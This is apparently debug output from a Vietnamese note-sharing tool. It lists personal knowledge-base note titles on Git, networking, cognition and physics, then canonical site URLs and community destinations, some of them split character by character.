thứ được vay mượn từ commit +• Slug: undefined +• ID: dd +Việc commit giúp ta phá code mà không sợ gì, giống như có đồ bảo hộ rồi thì tha hồ nghịch điện cao thế +• Slug: undefined +• ID: de +~ và ^ là để chỉ các commit trước đó +• Slug: undefined +• ID: df +Các lệnh Git thường dùng. Các lỗi Git thường gặp +• Slug: undefined +• ID: dg +Facebook chuyển sang Mercurial vì nhóm phát triển Git năm 2012 không mặn mà với monorepo +• Slug: undefined +• ID: dh +diff does not take into account untracked files +• Slug: undefined +• ID: di +git diff +• Slug: undefined +• ID: dj +git status giúp xem những file nào đã được vào stage +• Slug: undefined +• ID: dk +ls-files chỉ làm việc với index +• Slug: undefined +• ID: dl +pathspecs giúp chọn đường dẫn một cách linh hoạt và tinh tế hơn +• Slug: undefined +• ID: dm +git add -A làm cho index giống như ở working directory. git commit -am chỉ áp dụng cho những file đã có sẵn trong index +• Slug: undefined +• ID: dn +Stage, cache, index là những cái tên khác nhau cho cùng một thứ +• Slug: undefined +• ID: do +Untracked, staged, unchanged và unstaged là 4 trạng thái chính của một file +• Slug: undefined +• ID: dp +Git giúp ta du hành thời gian +• Slug: undefined +• ID: dq +Git tag +• Slug: undefined +• ID: dr +Git +• Slug: undefined +• ID: ds +Bấm dấu . để mở VS Code web ngay trên GitHub +• Slug: undefined +• ID: dt +GitHub Page không nhận ra các thư mục có dash phía trước, chỉ đọc được trong docs +• Slug: undefined +• ID: du +Template và fork +• Slug: undefined +• ID: dv +Tạo nhánh mới khi tạo PR sẽ dễ quản lý hơn +• Slug: undefined +• ID: dw +Website GitHub là cách để teamview máy của GitHub +• Slug: undefined +• ID: dx +Real-time collaboration isn't necessary in most cases, but asynchronous collaboration +• Slug: undefined +• ID: dy +Khi merge, ours là branch hiện tại. Khi rebase, theirs là branch hiện tại +• Slug: undefined +• ID: dz +Khi viết tính năng mới nên tạo branch mới +• Slug: undefined +• ID: d- +pull không lấy file mới về, mà lấy commit mới về +• Slug: undefined +• ID: d_ +Upstream, origin là những cái tên thường dùng cho remote +• Slug: undefined +• ID: e0 +Hướng dẫn đồng bộ dữ liệu với Android +• Slug: undefined +• ID: e1 +Ảnh lưu trên kho trên điện thoại sẽ được thấy trong gallery ảnh +• Slug: undefined +• ID: e2 +Syncthing dành cho đồng bộ dữ liệu giữa các thiết bị của cùng một người. Git chuyên cho việc hợp tác làm việc giữa nhiều người +• Slug: undefined +• ID: e3 +Giao thức là cách để các bên nhận và gửi dữ liệu hiểu nhau +• Slug: undefined +• ID: e4 +HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau +• Slug: undefined +• ID: e5 +Request là thứ client gửi cho server. Response là thứ server gửi cho client +• Slug: undefined +• ID: e6 +Trình duyệt chỉ gửi yêu cầu và nhận phản hồi ở dạng HTTP +• Slug: undefined +• ID: e7 +Yêu cầu HTTP chỉ là một tệp văn bản +• Slug: undefined +• ID: e8 +DDNS cách để không cần phải biết IP của mình là gì mà vẫn có thể truy cập được, kể cả khi nó thay đổi không báo trước +• Slug: undefined +• ID: e9 +Default gateway là IP của router +• Slug: undefined +• ID: eA +DHCP giúp thiết bị có được những thông số cần thiết để kết nối mạng +• Slug: undefined +• ID: eB +DNS giúp chuyển tên miền mà con người hiểu được thành IP mà máy tính hiểu được +• Slug: undefined +• ID: eC +DNS sẽ đi hỏi các root nameserver +• Slug: undefined +• ID: eD +IP mọi người thường sử dụng là IP động +• Slug: undefined +• ID: eE +Internet tuân theo định luật Postel +• Slug: undefined +• ID: eF +NAT khiến các thiết bị chỉ có thể nói chứ không thể nghe +• Slug: undefined +• ID: eG +NAT là cách để ta vẫn còn có thể dùng IPv4 dù số lượng thiết bị đã vượt xa số địa chỉ từ năm 2022 +• Slug: undefined +• ID: eH +NAT là lý do khiến cho mọi nỗ lực giải trung tâm hoá internet bị phá hỏng +• Slug: undefined +• ID: eI +MAC không thay đổi được, còn IP thì thay đổi được +• Slug: undefined +• ID: eJ +Subnet mask là độ lớn của host network +• Slug: undefined +• ID: eK +Switch là cái bưu điện. Mọi thư từ đều được gửi đến đó chứ không gửi đến địa chỉ người nhận +• Slug: undefined +• ID: eL +CA là nhà cung cấp chứng chỉ số cho TLS +• Slug: undefined +• ID: eM +Các trình duyệt bây giờ đều bắt buộc phải có SSL mới xem là an toàn, dù không có nó thì cũng chẳng có vấn đề gì +• Slug: undefined +• ID: eN +Nếu GitHub Page không issue SSL được, thử xoá tên miền rồi thêm lại vào xem +• Slug: undefined +• ID: eO +Nếu không dùng proxy của CloudFlare thì sẽ không dùng TLS của nó +• Slug: undefined +• ID: eP +TLS của CloudFlare khác với TLS của host +• Slug: undefined +• ID: eQ +Universal SSL chỉ hỗ trợ tới tên miền phụ cấp 1 +• Slug: undefined +• ID: eR +Universal SSL là TLS mặc định của CloudFlare +• Slug: undefined +• ID: eS +Với tên miền có dấu thì VirusTotal sẽ nghĩ là có virus nên không cấp chứng chỉ +• Slug: undefined +• ID: eT +SSL và TLS tạo một ống bảo vệ cho HTTP +• Slug: undefined +• ID: eU +TLS là một phiên bản cải tiến của SSL, nhưng mọi người vẫn quen gọi nó là SSL +• Slug: undefined +• ID: eV +Apache, Nginx là những web server phổ biến +• Slug: undefined +• ID: eW +CDN tạo ra điểm truy cập gần nhất dựa vào vị trí địa lý của người dùng, để thời gian tải web không chịu ảnh hưởng bởi việc nó được đặt ở đâu +• Slug: undefined +• ID: eX +Cloudflare đóng vai trò là một proxy và CDN +• Slug: undefined +• ID: eY +CNAME là +• Slug: undefined +• ID: eZ +Cpanel là +• Slug: undefined +• ID: ea +Edge là sự kết hợp giữa CDN và serverless +• Slug: undefined +• ID: eb +Proxy làm trung gian để client lấy dữ liệu từ server +• Slug: undefined +• ID: ec +Reverse proxy chủ yếu bảo vệ server. Forward proxy chủ yếu bảo vệ client +• Slug: undefined +• ID: ed +Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình +• Slug: undefined +• ID: ee +Serverless là loại server tự khởi động mỗi lần có người truy cập thay vì luôn trực sẵn chờ người truy cập +• Slug: undefined +• ID: ef +127.0.0.1 và localhost là một +• Slug: undefined +• ID: eg +Mọi URL đều là URI +• Slug: undefined +• ID: eh +Origin là sự kết hợp của protocol, hostname và port +• Slug: undefined +• ID: ei +Port là số hiệu của chương trình cụ thể được nhận gói tin +• Slug: undefined +• ID: ej +Tên miền có dấu được +• Slug: undefined +• ID: ek +URL bao gồm scheme, host, port, path, query, fragment +• Slug: undefined +• ID: el +URN giống như tên người, còn URL giống như địa chỉ nhà +• Slug: undefined +• ID: em +www thực ra chỉ là một tên miền thứ cấp như bao tên miền thứ cấp bình thường khác +• Slug: undefined +• ID: en +🖥️Mạng máy tính +• Slug: undefined +• ID: eo +Chủ nghĩa Marx – Lenin là sản phẩm của Stalin +• Slug: undefined +• ID: ep +Đông Kinh Nghĩa Thục là trường khai phóng đầu tiên ở Việt Nam +• Slug: undefined +• ID: eq +Hậu hiện đại trong kiến trúc là sự kết hợp giữa các phong cách khác nhau +• Slug: undefined +• ID: er +Bộ não được thiết kế để loại bỏ mối nguy hiểm ngay bây giờ, không phải trong tương lai +• Slug: undefined +• ID: es +Có những vấn đề lúc cần nói ra thì không không nghĩ ra nhưng vẫn cảm thấy chưa vét cạn +• Slug: undefined +• ID: et +Có sự chênh lệch về sự thoải mái trong việc hỏi và việc trả lời +• Slug: undefined +• ID: eu +Framework thường dùng cho nhiều tình huống khác nhau, trong khi model thường dùng cho một tình huống cụ thể +• Slug: undefined +• ID: ev +Hiểu biết sâu làm ta thấy khoái cảm +• Slug: undefined +• ID: ew +Hot cognition và cold cognition +• Slug: undefined +• ID: ex +Lặp lại theo khoảng (spaced repetition) +• Slug: undefined +• ID: ey +Con người cố gắng nhìn ra mẫu hình, kể cả khi đó chỉ là sự ngẫu nhiên +• Slug: undefined +• ID: ez +Con người thường cố gắng tìm ra mẫu hình, kể cả khi nó không có ở đó +• Slug: undefined +• ID: e- +Cờ vua trông như là tư duy logic, nhưng thật ra chỉ là nhìn thấy mẫu hình +• Slug: undefined +• ID: e_ +Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình +• Slug: undefined +• ID: f0 +Trực giác là việc nhìn ra mẫu hình không hơn không kém +• Slug: undefined +• ID: f1 +Trực giác là việc đi tới kết luận mà không thông qua suy luận +• Slug: undefined +• ID: f2 +Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn +• Slug: undefined +• ID: f3 +Não con người thay đổi rất chậm +• Slug: undefined +• ID: f4 +Não cần thời gian để kết nối các ý tưởng lại với nhau +• Slug: undefined +• ID: f5 +Bất hoà nhận thức giúp chúng ta hiểu sâu sắc hơn +• Slug: undefined +• ID: f6 +Càng mất nhiều ta càng học nhiều +• Slug: undefined +• ID: f7 +Các nghịch lý tạo ra bất hoà nhận thức +• Slug: undefined +• ID: f8 +Cảm xúc không chỉ khiến ta nhớ tốt hơn, mà còn điều hướng những suy nghĩ tự động +• Slug: undefined +• ID: f9 +Khoảnh khắc loé sáng ý tưởng thường đến vào những lúc ta không tập trung chú ý +• Slug: undefined +• ID: fA +Sự dễ hiểu làm tăng sự đáng tin, dù có thể nó không hợp lý +• Slug: undefined +• ID: fB +Sự lập luận dùng để thống nhất, nhưng lại có sự thờ ơ với lập luận +• Slug: undefined +• ID: fC +Sự lập luận không được tiến hoá để có quyết định tốt hơn, mà để có quyết định nhiều người đồng ý nhất +• Slug: undefined +• ID: fD +Sự suy luận (reasoning) là việc đưa ra những thông tin mới từ những thông tin đã có một cách có ý thức +• Slug: undefined +• ID: fE +Sự đau chi phối sự diễn giải của ta +• Slug: undefined +• ID: fF +Ta không nhớ những điều mình đã làm người khác đau bằng nhớ những điều người khác làm mình đau +• Slug: undefined +• ID: fG +Thay vì suy luận để đi tới kết luận, chúng ta thường dùng kết luận để suy luận +• Slug: undefined +• ID: fH +Trong hoạt động nhóm, thiên kiến xác nhận giúp giảm gánh nặng suy nghĩ mà vẫn đảm bảo mọi lập luận được trình bày và cân nhắc +• Slug: undefined +• ID: fI +Truyện cười thể hiện những nghịch lý +• Slug: undefined +• ID: fJ +Việc con người không thường xuyên suy luận tốt dường như là một sự sắp đặt có chủ ý của tiến hoá +• Slug: undefined +• ID: fK +Đuối lý không nhất thiết là thấy thuyết phục hoàn toàn +• Slug: undefined +• ID: fL +Sự trì hoãn giúp giảm những hệ quả không lường trước được +• Slug: undefined +• ID: fM +Tiếng Việt rất không thuận lợi cho việc tìm hiểu các mức độ nhận thức +• Slug: undefined +• ID: fN +Việc trì hoãn giúp đánh giá được mức độ quan trong +• Slug: undefined +• ID: fO +Đường cong trí nhớ +• Slug: undefined +• ID: fP +Ngày, tháng, năm là những đơn vị thời gian tự nhiên. Tuần là do con người tự đặt +• Slug: undefined +• ID: fQ +Pháp dùng Việt Nam để thí nghiệm một số cải cách xã hội của mình +• Slug: undefined +• ID: fR +Từ góc nhìn sinh thái học kháng chuẩn, mọi phát biểu nhân danh tự nhiên đều có chỗ đáng ngờ +• Slug: undefined +• ID: fS +Rhizome +• Slug: undefined +• ID: fT +Dòng vốn từ Nhật, Hàn đến Việt Nam còn nhiều hơn ở phương Tây +• Slug: undefined +• ID: fU +Tiếng nói của các quốc gia nhỏ trong luật quốc tế đã được lắng nghe nhiều hơn +• Slug: undefined +• ID: fV +Toàn cầu hoá là tiến trình chuyển dịch vốn, lao động, kỹ thuật, hàng hoá, tư tưởng và con người giữa những vùng đất, xã hội, văn hoá và kinh tế ở những chân trời khác nhau trên thế giới +• Slug: undefined +• ID: fW +Việc nhà nước đề kháng với sự ảnh hưởng phương Tây đã xem lại các quan điểm của mình về tôn giáo trước đây +• Slug: undefined +• ID: fX +Có những người bài xích khoa học nhưng rất sợ bị nói là phản khoa học +• Slug: undefined +• ID: fY +12 thiên can và 12 địa chi thực ra chỉ là hệ số đếm có tên chứ cũng chẳng có ý nghĩa gì +• Slug: undefined +• ID: fZ +Các khái niệm bị trộn lẫn vào nhau, nhưng lại có rất nhiều lớp phân loại +• Slug: undefined +• ID: fa +Cơ số 12 có vẻ tạo ra được nhiều tổ hợp đối xứng mà trí nhớ ngắn hạn xử lý được +• Slug: undefined +• ID: fb +Hạn là giới hạn, hạn chế, không phải là điều tệ +• Slug: undefined +• ID: fc +Kinh dịch, ngũ hành, tử vi +• Slug: undefined +• ID: fd +Nhân sự là con người và sự kiện +• Slug: undefined +• ID: fe +Sự hấp dẫn nằm ở tính đối xứng +• Slug: undefined +• ID: ff +Tử vi cho rằng thiên địa tương thông, nhưng rốt cuộc các sao chỉ là các khái niệm được cho trước chứ không phải là sao thật +• Slug: undefined +• ID: fg +Tử vi có ý định dự báo số phận như thể là nó đã an bài không thay đổi được, mà là để dự đoán xem môi trường có thuận lợi cho những quyết định của một người hay không +• Slug: undefined +• ID: fh +Tử vi lấy mô hình của triều đình phong kiến để phân loại +• Slug: undefined +• ID: fi +Vật lý và ẩn dụ liên ngành +• Slug: undefined +• ID: fj +Crackpot là những người không có điều kiện để được đào tạo bài bản +• Slug: undefined +• ID: fk +Các cuộc đối thoại chủ yếu ở tạp chí khoa học +• Slug: undefined +• ID: fl +Bản ngã chính là sự chú ý +• Slug: undefined +• ID: fm +Bản ngã là một tập hợp các mối quan tâm kết hợp với nhau +• Slug: undefined +• ID: fn +một nhóm các mối quan tâm sẽ trở thành bản ngã ngay vào lúc nó thể hiện sự kiểm soát đối với các mối quan tâm khác +• Slug: undefined +• ID: fo +Nguồn gốc của nhận thức là để thích nghi với môi trường tốt hơn +• Slug: undefined +• ID: fp +Sự chú ý là kết quả của các mối quan tâm cạnh tranh với nhau về nguồn tài nguyên chung +• Slug: undefined +• ID: fq +❓Có sự đồng nhất giữa kích thích tâm lý và kích thích sinh lý +• Slug: undefined +• ID: fr +❓Mối quan hệ giữa kích thích sinh lý và kích thích tâm lý chính là mối quan hệ giữa hai góc nhìn về thông tin +• Slug: undefined +• ID: fs +❓Sự chú ý là để đạt được nhiều sự thoả mãn hơn +• Slug: undefined +• ID: ft +Các quá trình nhận thức được sinh ra nhằm tối ưu hoá việc tự sao +• Slug: undefined +• ID: fu +Hành vi của sinh vật chịu tác động bởi các kích thích từ môi trường, gồm kích thích sinh lý hoặc kích thích tâm lý +• Slug: undefined +• ID: fv +Sự tiến hoá là để thích ứng tốt hơn với môi trường +• Slug: undefined +• ID: fw +Thể tự sao là cách thức để đạt entropy nhanh nhất +• Slug: undefined +• ID: fx +Vũ trụ tạo ra sự sống để thúc đẩy tới cái chết nhiệt của mình +• Slug: undefined +• ID: fy +❓Các sinh vật không có các quá trình nhận thức chỉ có kích thích sinh lý, không có kích thích tâm lý +• Slug: undefined +• ID: fz +❓Mối quan hệ giữa tiến hoá, thích nghi, tối ưu hoá, chuyên môn hoá +• Slug: undefined +• ID: f- +❓Sự thoả mãn là việc đạt được kích thích có lợi cho sự tự sao +• Slug: undefined +• ID: f_ +Deleuze dao động tử +• Slug: undefined +• ID: g0 +Tranh luận người thép +• Slug: undefined +• ID: g1 +Ham muốn và chấp có thể xem là một +• Slug: undefined +• ID: g2 +Tính dẻo thần kinh, ẩn dụ, và thiên địa nhân tam hợp +• Slug: undefined +• ID: g3 +Vô vi là một ẩn dụ +• Slug: undefined +• ID: g4 +❓Sự chánh niệm sâu bản chất là hạn chế kích thích tâm lý càng nhiều càng tốt +• Slug: undefined +• ID: g5 +❓Bản ngã (self) và tinh thần có cùng bản chất +• Slug: undefined +• ID: g6 +❓Lựa chọn là sự tối ưu hoá +• Slug: undefined +• ID: g7 +❓Bản chất của mối quan tâm là xu hướng tăng số lượng cộng hưởng của các dao động tử trong cơ thể +• Slug: undefined +• ID: g8 +❓Kích thích sinh lý là sự cộng hưởng của các dao động tử +• Slug: undefined +• ID: g9 +❓Sự khác biệt giữa metaphor circular và vật lý luận là gì +• Slug: undefined +• ID: gA +Động học niềm tin +• Slug: undefined +• ID: gB +Kích thích năng lượng chính là sự cộng hưởng của dao động tử điều hoà +• Slug: undefined +• ID: gC +Entropy không chỉ phải nhiều hơn, mà còn là nhiều hơn nhất +• Slug: undefined +• ID: gD +Entropy thống kê và entropy thông tin là một +• Slug: undefined +• ID: gE +Maximum Entropy is a Foundation for Complexity Science +• Slug: undefined +• ID: gF +❓Sự tự sao là sự cộng hưởng của các dao động tử +• Slug: undefined +• ID: gG +Năng lượng cũng không tự sinh ra cũng không tự mất đi, mà chỉ chuyển từ dạng này sang dạng khác +• Slug: undefined +• ID: gH +Vật lý làm việc với dao động tử điều hòa ở các cấp độ càng ngày càng trừu tượng hơn +• Slug: undefined +• ID: gI +❓Có thể miêu tả nguyên lý tăng entropy và nguyên lý tác dụng tối thiểu qua dao động tử điều hoà +• Slug: undefined +• ID: gJ +❓Mối liên hệ giữa dao động tử điều hoà và quả cầu Riemann +• Slug: undefined +• ID: gK +❓Mối quan hệ giữa nguyên lý tác dụng tối thiểu và sự tối ưu hoá +• Slug: undefined +• ID: gL +❓Trường vector biểu diễn dưới dạng dao động tử thế nào +• Slug: undefined +• ID: gM +Crackpot +• Slug: undefined +• ID: gN +Lựa chọn +• Slug: undefined +• ID: gO +Chú ý +• Slug: undefined +• ID: gP +Hành vi +• Slug: undefined +• ID: gQ +Kích thích sinh lý +• Slug: undefined +• ID: gR +Kích thích tâm lý +• Slug: undefined +• ID: gS +Kích thích +• Slug: undefined +• ID: gT +Môi trường +• Slug: undefined +• ID: gU +Nhận thức +• Slug: undefined +• ID: gV +Thích nghi +• Slug: undefined +• ID: gW +Tiến hoá +• Slug: undefined +• ID: gX +Tự sao +• Slug: undefined +• ID: gY +Bản ngã +• Slug: undefined +• ID: gZ +Deleuze +• Slug: undefined +• ID: ga +Ham muốn +• Slug: undefined +• ID: gb +Mối quan tâm +• Slug: undefined +• ID: gc +Nhu cầu +• Slug: undefined +• ID: gd +Tự phát +• Slug: undefined +• ID: ge +Dao động tử +• Slug: undefined +• ID: gf +Entropy +• Slug: undefined +• ID: gg +Nhóm đối xứng +• Slug: undefined +• ID: gh +Trường +• Slug: undefined +• ID: gi +Tác dụng +• Slug: undefined +• ID: gj +Tối ưu hoá +• Slug: undefined +• ID: gk +Vật lý luận +• Slug: undefined +• ID: gl +Ẩn dụ +• Slug: undefined +• ID: gm +Tự ngẫm nghĩ, trải nghiệm +• Slug: undefined +• ID: gn +Chúng ta sống bằng ẩn dụ +• Slug: undefined +• ID: go +Các ẩn dụ tri nhận cơ bản dựa trên mối tương quan của cơ thể và xung quanh +• Slug: undefined +• ID: gp +Ẩn dụ là nền tảng của mọi suy nghĩ và lập luận +• Slug: undefined +• ID: gq +Ẩn dụ tô đậm những tính chất chung và ẩn đi những tính chất không chung +• Slug: undefined +• ID: gr +Ẩn dụ được nhúng trong các neuron não. Chúng tồn tại dưới dạng vật lý +• Slug: undefined +• ID: gs +Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn +• Slug: undefined +• ID: gt +Sự tối ưu hoá +• Slug: undefined +• ID: gu +Sự đối xứng +• Slug: undefined +• ID: gv +Tính lỏng +• Slug: undefined +• ID: gw +Điểm vô tận +• Slug: undefined +• ID: gx +Đường thẳng song song +• Slug: undefined +• ID: gy +Thử xây dựng lại Đạo giáo từ khoa học hiện đại +• Slug: undefined +• ID: gz +Học toán để làm gì +• Slug: undefined +• ID: g- +Làm sao để giỏi toán +• Slug: undefined +• ID: g_ +Toán học là nghệ thuật đặt ra những cái tên khác nhau cho cùng một thứ +• Slug: undefined +• ID: h0 +Trả lời các câu hỏi cho vật lý luận +• Slug: undefined +• ID: h1 +Xoá bỏ sự bắt nạt đối với người có hứng thú đóng góp và sáng tạo nhưng không có điều kiện để được đào tạo bài bản +• Slug: undefined +• ID: h2 +URL chính tắc lấy được: https://xn--qucu-hr5aza.cc/ +URL chính tắc lấy được: https://www.facebook.com/qua.cau.the.sphere/ +URL chính tắc lấy được: https://www.facebook.com/quacau.sphere/ +URL chính tắc lấy được: https://github.com/QuaCau-TheSphere/ +URL chính tắc lấy được: https://www.youtube.com/channel/UCReU_XcmJlp9ORWi8U2O-Fg +URL chính tắc lấy được: https://discord.com/invite/jWTk4EHFK2 +URL chính tắc lấy được: https://kiếmtiền.quảcầu.cc +URL chính tắc lấy được: https://obsidian.xn--qucu-hr5aza.cc/ +URL chính tắc lấy được: https://xn--lptrnh-zva6402d.xn--qucu-hr5aza.cc/ +URL chính tắc lấy được: https://pháttriểnbảnthân.xn--qucu-hr5aza.cc/ +URL chính tắc lấy được: https://doi-thoai.deno.dev/ +URL chính tắc lấy được: https://tranky.deno.dev/ +URL chính tắc lấy được: https://doi-thoai.deno.dev/blog +URL chính tắc lấy được: https://doi-thoai.deno.dev/blog/ChiaSẻKhoThôngTin +URL chính tắc lấy được: https://doi-thoai.deno.dev/blog/NhiềuNềnTảng +URL chính tắc lấy được: https://www.facebook.com/groups/uanvn/ +313 +Obsidian - Não hai +• Slug: obsvn +• ID: 0 +• URL: undefined +r/ObsidianMD +• Slug: DiscordObsidian +• ID: 1 +• URL: undefined +r/googlekeep +• Slug: null +• ID: 2 +• URL: undefined +Obsidian - Second Brain ➯ Não hai 🧠 +• Slug: obsvn +• ID: 3 +• URL: undefined +Obsidian ➯ #tiếng-việt +• Slug: DiscordObsidian +• ID: 4 +• URL: undefined +trainbuffer +• Slug: null +• ID: 5 +• URL: undefined +Hoàng Đức Minh +• Slug: null +• ID: 6 +• URL: undefined +Quang Mai +• Slug: null +• ID: 7 +• URL: undefined +Trần Nam +• Slug: null +• ID: 8 +• URL: undefined +Trần Thuý Hoà +• Slug: null +• ID: 9 +• URL: undefined +Hoàng Đức Minh +• Slug: null +• ID: A +• URL: undefined +Lương Hữu Phú Lộc +• Slug: null +• ID: B +• URL: undefined +Nguyễn Toàn Thắng +• Slug: null +• ID: C +• URL: undefined +van.le@fulbright.edu.vn Lê Nguyễn Tường Vân +• Slug: null +• ID: D +• URL: mailto:van.le@fulbright.edu.vn +WordPress Việt Nam +• Slug: null +• ID: E +• URL: https://www.facebook.com/groups/1901109550216890/ +0 ➯ D +• Slug: null +• ID: F +• URL: undefined +1 ➯ ạ +• Slug: null +• ID: G +• URL: undefined +2 ➯ y +• Slug: null +• ID: H +• URL: undefined +3 ➯ +• Slug: null +• ID: I +• URL: undefined +4 ➯ N +• Slug: null +• ID: J +• URL: undefined +5 ➯ h +• Slug: null +• ID: K +• URL: undefined +6 ➯ a +• Slug: null +• ID: L +• URL: undefined +7 ➯ u +• Slug: null +• ID: M +• URL: undefined +8 ➯ +• Slug: null +• ID: N +• URL: undefined +9 ➯ H +• Slug: null +• ID: O +• URL: undefined +10 ➯ ọ +• Slug: null +• ID: P +• URL: undefined +11 ➯ c +• Slug: null +• ID: Q +• URL: undefined +12 ➯ +• Slug: null +• ID: R +• URL: undefined +13 ➯ h +• Slug: null +• ID: S +• URL: undefined +14 ➯ t +• Slug: null +• ID: T +• URL: undefined +15 ➯ t +• Slug: null +• ID: U +• URL: undefined +16 ➯ p +• Slug: null +• ID: V +• URL: undefined +17 ➯ s +• Slug: null +• ID: W +• URL: undefined +18 ➯ : +• Slug: null +• ID: X +• URL: undefined +19 ➯ / +• Slug: null +• ID: Y +• URL: undefined +20 ➯ / +• Slug: null +• ID: Z +• URL: undefined +21 ➯ d +• Slug: null +• ID: a +• URL: undefined +22 ➯ i +• Slug: null +• ID: b +• URL: undefined +23 ➯ s +• Slug: null +• ID: c +• URL: undefined +24 ➯ c +• Slug: null +• ID: d +• URL: undefined +25 ➯ o +• Slug: null +• ID: e +• URL: undefined +26 ➯ r +• Slug: null +• ID: f +• URL: undefined +27 ➯ d +• Slug: null +• ID: g +• URL: undefined +28 ➯ . +• Slug: null +• ID: h +• URL: undefined +29 ➯ c +• Slug: null +• ID: i +• URL: undefined +30 ➯ o +• Slug: null +• ID: j +• URL: undefined +31 ➯ m +• Slug: null +• ID: k +• URL: undefined +32 ➯ / +• Slug: null +• ID: l +• URL: undefined +33 ➯ i +• Slug: null +• ID: m +• URL: undefined +34 ➯ n +• Slug: null +• ID: n +• URL: undefined +35 ➯ v +• Slug: null +• ID: o +• URL: undefined +36 ➯ i +• Slug: null +• ID: p +• URL: undefined +37 ➯ t +• Slug: null +• ID: q +• URL: undefined +38 ➯ e +• Slug: null +• ID: r +• URL: undefined +39 ➯ / +• Slug: null +• ID: s +• URL: undefined +40 ➯ j +• Slug: null +• ID: t +• URL: undefined +41 ➯ H +• Slug: null +• ID: u +• URL: undefined +42 ➯ w +• Slug: null +• ID: v +• URL: undefined +43 ➯ s +• Slug: null +• ID: w +• URL: undefined +44 ➯ R +• Slug: null +• ID: x +• URL: undefined +45 ➯ A +• Slug: null +• ID: y +• URL: undefined +46 ➯ N +• Slug: null +• ID: z +• URL: undefined +0 ➯ S +• Slug: null +• ID: - +• URL: undefined +1 ➯ y +• Slug: null +• ID: _ +• URL: undefined +2 ➯ m +• Slug: null +• ID: 10 +• URL: undefined +3 ➯ a +• Slug: null +• ID: 11 +• URL: undefined +4 ➯ t +• Slug: null +• ID: 12 +• URL: undefined +5 ➯ o +• Slug: null +• ID: 13 +• URL: undefined +6 ➯ : +• Slug: null +• ID: 14 +• URL: undefined +7 ➯ +• Slug: null +• ID: 15 +• URL: undefined +8 ➯ M +• Slug: null +• ID: 16 +• URL: undefined +9 ➯ ô +• Slug: null +• ID: 17 +• URL: undefined +10 ➯ +• Slug: null +• ID: 18 +• URL: undefined +11 ➯ h +• Slug: null +• ID: 19 +• URL: undefined +12 ➯ ì +• Slug: null +• ID: 1A +• URL: undefined +13 ➯ n +• Slug: null +• ID: 1B +• URL: undefined +14 ➯ h +• Slug: null +• ID: 1C +• URL: undefined +15 ➯ +• Slug: null +• ID: 1D +• URL: undefined +16 ➯ n +• Slug: null +• ID: 1E +• URL: undefined +17 ➯ g +• Slug: null +• ID: 1F +• URL: undefined +18 ➯ ô +• Slug: null +• ID: 1G +• URL: undefined +19 ➯ n +• Slug: null +• ID: 1H +• URL: undefined +20 ➯ +• Slug: null +• ID: 1I +• URL: undefined +21 ➯ n +• Slug: null +• ID: 1J +• URL: undefined +22 ➯ g +• Slug: null +• ID: 1K +• URL: undefined +23 ➯ ữ +• Slug: null +• ID: 1L +• URL: undefined +24 ➯ +• Slug: null +• ID: 1M +• URL: undefined +25 ➯ c +• Slug: null +• ID: 1N +• URL: undefined +26 ➯ ủ +• Slug: null +• ID: 1O +• URL: undefined +27 ➯ a +• Slug: null +• ID: 1P +• URL: undefined +28 ➯ +• Slug: null +• ID: 1Q +• URL: undefined +29 ➯ n +• Slug: null +• ID: 1R +• URL: undefined +30 ➯ g +• Slug: null +• ID: 1S +• URL: undefined +31 ➯ ư +• Slug: null +• ID: 1T +• URL: undefined +32 ➯ ờ +• Slug: null +• ID: 1U +• URL: undefined +33 ➯ i +• Slug: null +• ID: 1V +• URL: undefined +34 ➯ +• Slug: null +• ID: 1W +• URL: undefined +35 ➯ V +• Slug: null +• ID: 1X +• URL: undefined +36 ➯ i +• Slug: null +• ID: 1Y +• URL: undefined +37 ➯ ệ +• Slug: null +• ID: 1Z +• URL: undefined +38 ➯ t +• Slug: null +• ID: 1a +• URL: undefined +39 ➯ +• Slug: null +• ID: 1b +• URL: undefined +40 ➯ h +• Slug: null +• ID: 1c +• URL: undefined +41 ➯ t +• Slug: null +• ID: 1d +• URL: undefined +42 ➯ t +• Slug: null +• ID: 1e +• URL: undefined +43 ➯ p +• Slug: null +• ID: 1f +• URL: undefined +44 ➯ s +• Slug: null +• ID: 1g +• URL: undefined +45 ➯ : +• Slug: null +• ID: 1h +• URL: undefined +46 ➯ / +• Slug: null +• ID: 1i +• URL: undefined +47 ➯ / +• Slug: null +• ID: 1j +• URL: undefined +48 ➯ d +• Slug: null +• ID: 1k +• URL: undefined +49 ➯ i +• Slug: null +• ID: 1l +• URL: undefined +50 ➯ s +• Slug: null +• ID: 1m +• URL: undefined +51 ➯ c +• Slug: null +• ID: 1n +• URL: undefined +52 ➯ o +• Slug: null +• ID: 1o +• URL: undefined +53 ➯ r +• Slug: null +• ID: 1p +• URL: undefined +54 ➯ d +• Slug: null +• ID: 1q +• URL: undefined +55 ➯ . +• Slug: null +• ID: 1r +• URL: undefined +56 ➯ g +• Slug: null +• ID: 1s +• URL: undefined +57 ➯ g +• Slug: null +• ID: 1t +• URL: undefined +58 ➯ / +• Slug: null +• ID: 1u +• URL: undefined +59 ➯ s +• Slug: null +• ID: 1v +• URL: undefined +60 ➯ Y +• Slug: null +• ID: 1w +• URL: undefined +61 ➯ 6 +• Slug: null +• ID: 1x +• URL: undefined +62 ➯ Y +• Slug: null +• ID: 1y +• URL: undefined +63 ➯ A +• Slug: null +• ID: 1z +• URL: undefined +64 ➯ J +• Slug: null +• ID: 1- +• URL: undefined +65 ➯ U +• Slug: null +• ID: 1_ +• URL: undefined +66 ➯ n +• Slug: null +• ID: 20 +• URL: undefined +67 ➯ s +• Slug: null +• ID: 21 +• URL: undefined +68 ➯ V +• Slug: null +• ID: 22 +• URL: undefined +Lume ➯ #general +• Slug: null +• ID: 23 +• URL: https://discord.gg/QrESxPFJPp +Lume ➯ #help +• Slug: null +• ID: 24 +• URL: https://discord.gg/QrESxPFJPp +Lume ➯ #showcase +• Slug: null +• ID: 25 +• URL: https://discord.gg/QrESxPFJPp +Dạy Nhau Học +• Slug: null +• ID: 26 +• URL: https://daynhauhoc.com/ +Cộng đồng SNPO +• Slug: SNPO +• ID: 27 +• URL: undefined +Cộng đồng SNPO ➯ Mạng lưới NPO +• Slug: SNPO +• ID: 28 +• URL: undefined +Cộng đồng SNPO ➯ Tech for NPO +• Slug: SNPO +• ID: 29 +• URL: undefined +Lý 